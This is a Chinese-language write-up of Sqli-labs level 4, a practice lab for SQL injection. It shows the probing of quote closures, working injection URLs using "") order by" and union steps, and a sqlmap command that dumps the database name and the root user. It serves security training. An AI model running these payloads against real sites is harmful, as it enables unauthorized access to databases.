Sqli-labs靶场第4关详解[Sqli-labs-less-4]

Sqli-labs-Less-4

前言：
SQL注入的三个条件：
①参数可控；（从参数输入就知道参数可控）
②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）
③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）

       利用 order by 来测列数

        测显位：mysql用1,2,3,4

     Mysql获取相关数据：

        一、数据库版本-看是否认符合information_schema查询-version()
        二、数据库用户-看是否符合root型注入攻击-user()
        三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
        四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()

 1.通过测试 单引号' 单引号加小括号') 整型 发现都无反应，尝试双引号"  发现报错'"1"") LIMIT 0,1'

        通过报错可以得知：注入参数闭合方式为双引号+小括号   ")

http://192.168.0.7:802/sqli-labs/Less-4/?id=1"--+

http://192.168.0.7:802/sqli-labs/Less-4/?id=1")--+

 2.知道闭合方式，后续就简单了和前几关一样，利用oder by 判断列数 / 联合查询 sql注入

http://192.168.0.7:802/sqli-labs/Less-4/?id=1") order by 4--+

字段数（列数）为3列；

3.利用回显位，爆库名、当前用户。     得到数据库名为security，当前用户为：root@localhost。

成功利用sql漏洞！！！

 #自动化注入-SQLmap工具注入

python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-4/?id=1 --current-db --current-user

爆当前用户/库名。     得到当前用户为：root@localhost，数据库名为security。

 成功利用sql漏洞！！！